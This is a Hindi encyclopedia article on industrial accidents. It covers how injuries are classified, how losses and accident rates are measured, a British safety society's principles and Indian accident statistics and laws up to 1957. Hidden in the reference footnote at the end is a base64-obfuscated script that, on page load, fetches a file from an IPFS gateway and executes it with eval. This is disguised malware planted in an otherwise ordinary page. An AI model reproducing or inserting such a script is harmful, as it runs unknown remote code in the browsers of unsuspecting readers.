उद्योग में आकस्मिक दुर्घटनाएँ  

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औद्योगिक क्रांति के फलस्वरूप आधुनिक काल में विशालकाय मशीनों और यंत्रों का अधिकाधिक उपयोग होने लगा है। मशीनों की गति का मनुष्य सामना नहीं कर सकता। तेज दौड़ते हुए पहिए, भीमकाय भट्टियाँ और उनमें पिघलाए जानेवाले गर्म द्रव, भारी क्रेनें, और ऐसी ही अन्य कई चीज़ों से सुविकसित औद्योगिक केंद्र संचालित होते हैं। कहीं भी थोड़ी सी भूल-चूक से, अथवा मशीनों के एकाएक खराब हो जाने से, पुर्जों के टूट जाने, अथवा विस्फोटक पदार्थों में आग लग जाने आदि से कई ऐसी आकस्मिक दुर्घटनाएँ घट जाती हैं जिनका पहले से अनुमान भी नहीं किया जा सकता। ऐसी उद्योग संबंधी अप्रत्याशित और आकस्मिक घटनाएँ, जिनसे कार्यकर्ताओं को शारीरिक हानि पहुँचे और वे स्थायी या अस्थायी काल के लिए अयोग्य हो जाएँ, अथवा मर जाएँ, औद्योगिक दुर्घटनाएँ कहलाती हैं। घेरलू नौकरों की दुर्घटनाएँ और खेत पर काम करते समय लगनेवाली चोटों या होनेवाली शारीरिक हानियों को औद्योगिक दुर्घटना में सम्मिलित नहीं किया जाता। जब कोई घटना लाभ के लिए किया जानेवाला काम करते समय घटती है तभी वह औद्योगिक दुर्घटना की श्रेणी में आती है।

शारीरिक हानि को उसकी गंभीरता के आधार पर पाँच भागों में विभक्त किया जा सकता है : (1) मूत्यु, (2) स्थायी पूर्ण अयोग्यताएँ, यथा-दोनों आँखों से अंधा हो जाना, दोनों हाथों अथवा पैरों का टूट जाना, आदि; (3) स्थायी आंशिक अयोग्यताएँ, यथा- एक आँख या एक हाथ या एक पैर का खराब हो जाना; (4) अस्थायी पूर्ण अयोग्यताएँ; (5) अस्थायी अयोग्यताएँ, जो प्राथमिक उपचार अथवा कुछ दिनों के डाक्टरी इलाज से ठीक होने योग्य हों।

बड़े-बड़े उद्योगों में सांख्यिकी (स्टैटिस्टिक्स) द्वारा यह अनुमान लगाया जाता है कि किसी भी दुर्घटना द्वारा उस उद्योग को समय की दृष्टि से कितनी हानि हुई है। इस प्रकार समय और मूल्य का संबंध जोड़कर उद्योग को होनेवाली संपूर्ण आर्थिक हानि आँक ली जाती है। मृत्यु के कारण भी उद्योग को समय की दृष्टि से पर्याप्त हानि होती है, क्योंकि उस व्यक्ति की सेवाएँ बाद में कभी भी प्राप्त नहीं हो सकतीं। स्थान पर किसी नए व्यक्ति को रखना पड़ता है जिसे उस स्थान पर ठीक से कार्य करने में कुछ समय लग ही जाता है। इसी प्रकार स्थायी रूप से अयोग्य हुए व्यक्तियों के कारण भी समय नष्ट होता है। दुर्घटनाग्रस्त व्यक्तियों के अतिरिक्त अन्य व्यक्ति भी अपना कोम छोड़कर उनकी सेवा शुश्रूषा के लिए अथवा मशीनों के सुधार के लिए समय देते हैं, जो किसी भी प्रकार उत्पादनवृद्धि में सहायक नहीं होता। कभी-कभी उनकी मानसिक स्थिति भी स्थिर नहीं रह पाती और इसलिए भी उनकी कार्यक्षमता का ्ह्रास होने लगता है। इन सबका परिणाम उत्पाद्य वस्तुओं की मात्रा में कमी ही होता है और इसलिए समय की हानि को मूल्य के साथ जोड़ना उचित हो जाता है।

दुर्घटना से होनेवाली आर्थिक हानि में इलाज के लिए होनेवाला व्यय और बीमे का व्यय भी जोड़ लिया जाता है। 1953 में अमरीका में लगभग 3 अरब डालर का व्यय इन औद्योगिक दुर्घटनाओं के कारण हुआ, जो प्रत्येक श्रमिक पर समान रूप से वितरित करने पर औसतन 45 डालर होता है।

दुर्घटनाओं का तुलनात्मक परीक्षण करने के लिए यह आवश्यक है कि कुछ आधारभूत कसौटियाँ स्थिर की जाएँ। 'अमरीकन स्टैंडर्ड्‌स ऐसोसिएशन' ने अपने प्रतिमान ज़ेड 16.1 द्वारा दो प्रकार की शारीरिक-हानि-दर-मापन का माध्यम सुझाया है। ये हैं : (1) किसी निश्चित अवधि में दुर्घटनाओं की आवृत्ति, और (2) दुर्घटना की गंभीरता। प्रथम प्रकार की गणना के लिए 10,00,000 काम करने के घंटों की अवधि में घटनेवाली दुर्घटनाओं को लिया जाता है। दूसरी प्रकार की गणना द्वारा इतने ही घंटों में हुई कुल हानि का अनुमान लगाया जाता है। यह हानि समयहानि के माध्यम से आँकी जाती है जिसका वर्णन हम ऊपर कर आए हैं।

उद्योगों में दुर्घटनाओं को कम करने के लिए प्रत्येक दुर्घटना का विश्लेषण किया जाता है। दुर्घटना के कारणों की जानकारी होने पर भविष्य में उन कारणों को न पनपने देने की चेष्टाएँ की जाती हैं। इस दिशा में सतर्कता और सावधानी बरती जाती है। इन कारणों और कारकों में निम्नलिखित मुख्य हैं :

1. दुर्घटना किस चीज से हुई, अर्थात्‌ दुर्घटना का माध्यम (एजेंसी); 2. मशीन या औजार का भागविशेष, जो दुर्घटना के लिए उत्तरदायी हो; 3. दुर्घटनास्थल, वातावरण एवं मशीन की स्थिति; 4. कार्यकर्ता ने सावधानी एवं सतर्कता के नियमों का पालन किया या नहीं; 5. दुर्घटना के लिए स्वयं दुर्घटनाग्रस्त व्यक्ति का दायित्व; 6. दुर्घटना का प्रकार (किस प्रकार हानि पहुँची)।

इनके अतिरिक्त दुर्घटनाग्रस्त व्यक्ति पुरुष है अथवा स्त्री, उसके कार्य की स्थिति, उसका मानसिक संतुलन आदि कारण भी विश्लेषित किए जाते हैं।

दुर्घटनाओं से हानेवाली मानवहानि, मृत्यु अथवा स्थायी अस्थायी अयोग्यताओं पर जितनी सहानुभूति के साथ 20वीं शती के प्रारंभ से विचार किया जाने लगा है, उतना पहले कभी नहीं किया गया। सुरक्षा के लिए यत्न, उचित प्रशिक्षण और श्रमिकों की सुखसुविधा के लिए सहकार, ये सब नए किंतु आवश्यक चरण हैं। इनके मूल में कतिपय कारण हैं। औद्योगिक प्रगति की बढ़ती हुई परंपरा से प्रभावित होकर सामान्य जन अपने परंपरागत उद्योगों को छोड़कर इन बड़े उद्योगों की ओर आकृष्ट हुए। जनसंख्या का अधिकांश यहीं केंद्रित होने लगा। इधर उद्योगों पर समाज का अवलंबन बढ़ता ही चला गया और इससे उनका विकास और विस्तार करना आवश्यक हो गया। श्रमिकों की माँग भी बढ़ने लगी। किंतु जिन उद्योगों में मानवहानि का भय हो, उनमें कोई श्रमिक तब तक जाना पसंद नहीं करेगा जब तक उसे सामाजिक सुरक्षा का समुचित आश्वासन न मिले। मशीनों के साथ वह दिन और रात जूझता है, केवल इसलिए कि उसके बाल बच्चों का पोषण हो सके। यदि कार्य करने से ही उसकी मृत्यु हो जाए अथवा वह अयोग्य हो जाए, तो उसके परिवार के पोषण का कौन उत्तरदायी होगा? यही प्रश्न उसे अपने जीवन को संकट में डालने से रोकता है। जब तक उद्योगपति उसे यह आश्वासन न दे दे कि उसको ऐसी किसी भी दुर्घटना की स्थिति में सामाजिक सुरक्षा के कतिपय अधिकार प्राप्त होंगे, तब तक वह ऐसे कार्यों में हाथ लगाकर जोखिम मोल नहीं लेगा। इस प्रकार उद्योगों का यंत्रीकरण, उनकी विषमता और जटिलता, उद्योगों में जनसंख्या के अधिकांश का केंद्रीकरण, समाज का उद्योगों पर पराश्रय, श्रमिकों की माँग तथा जीवन पर संकट लानेवाले उद्योगों में काम न करने की इच्छा आदि ही ऐसे मुख्य कारण हैं, जिन्होंने उद्योगपतियों और राज्य सरकारों को यह बात सोचने के लिए बाध्य किया कि सामाजिक सुरक्षा (सोशल सिक्योरिटी) के लिए कतिपय नियम बनाए जाएँ और साथ ही दुर्घटनाओं की स्थितियों और उनकी आवृत्तियों को कम करने की भरसक चेष्टाएँ की जाएँ, ताकि श्रमिक उद्योगों में नि:संकोच आना पसंद करें। कार्यस्थल के परिसर और कार्य करने की कुशल व सतर्क रीतियों से दुर्घटनाओं की संभावनाएँ कम हो सकती हैं और इसीलिए यह चेष्टा की जाती है कि अच्छे वातावरण में श्रमिक कार्य कर सकें। उन्हें कार्यक्षम बनाने तथा सावधानी से काम करने के लिए उचित प्रशिक्षण की योजना भी उद्योगों का एक विशेष कार्य हो गई है।

पहले उद्योगपतियों को यह विश्वास सा था कि सावधानी से और स्वयं को संकट से बचाते हुए कार्य करने से उत्पादन की मात्रा पर कुप्रभाव पड़ता है, किंतु अब यह विचार बदल गया है। अनुभव के आधार पर यह सिद्ध हो चुका है कि ठीक प्रकार से कार्य करना कुशलता और जीवनरक्षा दोनों ही दृष्टियों से लाभप्रद है।

सरकारी और निजी, दोनों ही क्षेत्रों में इस ओर जागरूकता बढ़ती जा रही है और कई समितियाँ एवं राजकीय विभाग इसी ओर अपना कार्यक्षेत्र विस्तारित भी कर रहे हैं। कतिपय मजदूर संघ (ट्रेड यूनियनें) भी इस दिशा में अपने प्रयासों द्वारा दुर्घटनाओं को कम करने तथा दुर्घटनाग्रस्त लोगों की सेवा शुश्रूषा अथवा मृतक के परिवार के भार पोषण आदि के प्रबंध का कार्य करते रहते हैं।

ग्रेट ब्रिटेन की 'रायल सोसायटी फ़ॉर प्रिवेंशन ऑव ऐक्सिडेंट्स' का निर्माण इन्हीं उद्देश्यों की पूर्ति के लिए किया गया। सुरक्षा के छह सिद्धांतों का उल्लेख यह सोसायटी इस प्रकार करती है :

1. व्यवस्थापकों की ओर से सुरक्षा के लिए सबल प्रयास होना चाहिए; 2. प्रत्येक व्यक्ति को इस ओर सचेत करने का यत्न आंदोलन द्वारा किया जाना चाहिए; 3. दुर्घटनाओं के आँकड़ें और विवरण पंजीकृत करने चाहिए; 4. निरीक्षण, जाँच और कार्यसुरक्षा के विश्लेषण का अध्ययन करना आंदोलन का आवश्यक अंग होना चाहिए; 5. संगठन का अधिकांश कार्य कार्य-सुरक्षा-समिति को सौंप देना चाहिए; 6. इस संगठन का अत्यंत महत्वपूर्ण कार्य प्रचार द्वारा कार्यकर्ताओं और व्यवस्थापकों को इस दृष्टि से शिक्षित करना होना चाहिए।

इस सोसायटी ने अपने अनुसंधान द्वारा विभिन्न प्रकार की दुर्घटनाओं को वर्गीकृत किया। उन वर्गों में होनवाली दुर्घटनाओं की आवृत्ति का प्रतिशत निम्नलिखित है :

कारण प्रतिशत दुर्घटना

1. माल ढोने से 27.8

2. शक्तिचालित मशीनों से 16.4

3. लोगों के गिर जाने से 13.3

4. हाथ के औजारों के उपयोग से 8.8

5. किसी वस्तु के गिर जाने से 8.7

6. किसी वस्तु से टकरा जाने से 7.3

7. गर्म धात्विक द्रव या गर्म वस्तु के स्पर्श से 4.2

8. यातायात (रेलवे के अतिरिक्त) 3.3

9. रेल यातायात 1.6

10. विविध 8.6

भारत में औद्योगीकरण के प्रारंभ के वर्षों में दुर्घटनाएँ अधिक हुआ करती थीं, क्योंकि उस समय श्रमिक अधिक कुशल नहीं थे। सन्‌ 1884 में दुर्घटना के कारण अयोग्य हुए व्यक्तियों को हानिमूल्य का अधिनियम (वर्कमंस कंपेंसेशन ऐक्ट) 1933 में जाकर ही पारित हो सका। 1934 के फैक्टरी ऐक्ट द्वारा इस दिशा में और अधिक व्यवस्थाएँ हुईं। फिर भी औद्योगिक दुर्घटनाओं के आँकड़ें अधिक विश्वसनीय नहीं हैं। स्वयं श्रमिकों के अबोध और अशिक्षित होने के कारण तथा मजदूर संघों के सुसंगठित न होने के कारण, हानिमूल्य की प्राप्ति के लिए अधिक चेष्टाएँ भी नहीं की जातीं और की जाने पर भी सफलता सभी में समान रूप से नहीं मिल पाती। उद्योगपति भी इस स्थिति का लाभ उठाते हैं। अपने सामाजिक उत्तरदायित्व को टाल देने की प्रवृत्ति व्यवस्थापकों में प्राय: पाई जाती है। इसीलिए श्रमिकों का शोषण करने में भी वे संकोच नहीं करते।

दुर्घटनाजन्य मृत्यु की दर 1939 की तुलना में 1957 में कुछ कम हुईं। 1957 में प्रति एक हजार व्यक्तियों में से 0.09 श्रमिक मरे, जब कि 1939 में 0.13 व्यक्ति मरे थे। किंतु अन्य दुर्घटनाओं में, जो स्थायी और अस्थायी अयोगयता के कारण होती हैं, प्रतिवर्ष वृद्धि ही हुई है। नीचे की तालिका इसे स्पष्ट करती है :

वर्ष मृत्यु के अतिरिक्त दुर्घटनाओं की प्रति एक हजार व्यक्ति

कुल संख्या पर औसत

1939 35,785 20.43

1945 69,781 26.40

1954 93,765 36.21

1956 1,28,177 44.47

विभिन्न कारण जिनके कारण दुर्घटनाएँ हुईं, उनके प्रतिशत निम्नलिखित हैं:

दुर्घटना के कारण 1950 में प्रतिशत 1956 में प्रतिशत

1. मशीनों द्वारा 23.70 24.40

2. वस्तुओं के गिर जाने से 16.49 13.24

3. माल ढोने से 10.35 11.37

4. यातायात 1.18 1.44

5. गर्म धात्विक द्रव या गर्म पदार्थ से 5.65 4.70

6. हाथ के औजारों से उपयोग से 9.82 7.57

7. लोगों के गिर जाने से 6.21 5.73

8. किसी चीज से टकरा जाने से 7.65 12.47

9. विविध 12.95 19.08

द्वितीय पंचवर्षीय योजना और आगामी पंचवर्षीय योजनाओं में औद्योगीकरण तथा यंत्रीकरण पर जो बल दिया जा रहा है (या दिया जानेवाला है), उसके आधार पर यह कहा जा सकता है कि उद्योग संबंधी समस्याएँ और दुर्घटनाओं की संभावनाएँ बहुत बढ़ जाएँगी। इन्हें रोकने के लिए उचित प्रशिक्षण तथा उद्योगपतियों के हार्दिक सहकार की परम आवश्यकता है। सामाजिक सुरक्षा की प्रति जागरूकता और सहानुभूतिपूर्ण विचार तथा उत्तरदायित्व का भाव होना औद्योगिक विकास के लिए अपरिहार्य है। कार्यकर्ताओं के लिए राज्य बीमा अधिनियम (एंप्लायीज़ स्टेट इंश्योरेंस ऐक्ट, 1948) द्वारा कतिपय सुविधाएँ राज्य ने प्रदान की हैं। परंतु इस दिशा में अधिक गंभीरता से विचार करने और ठोस कदम उठाने की आवश्यकता है।[१]


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टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 2 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 104 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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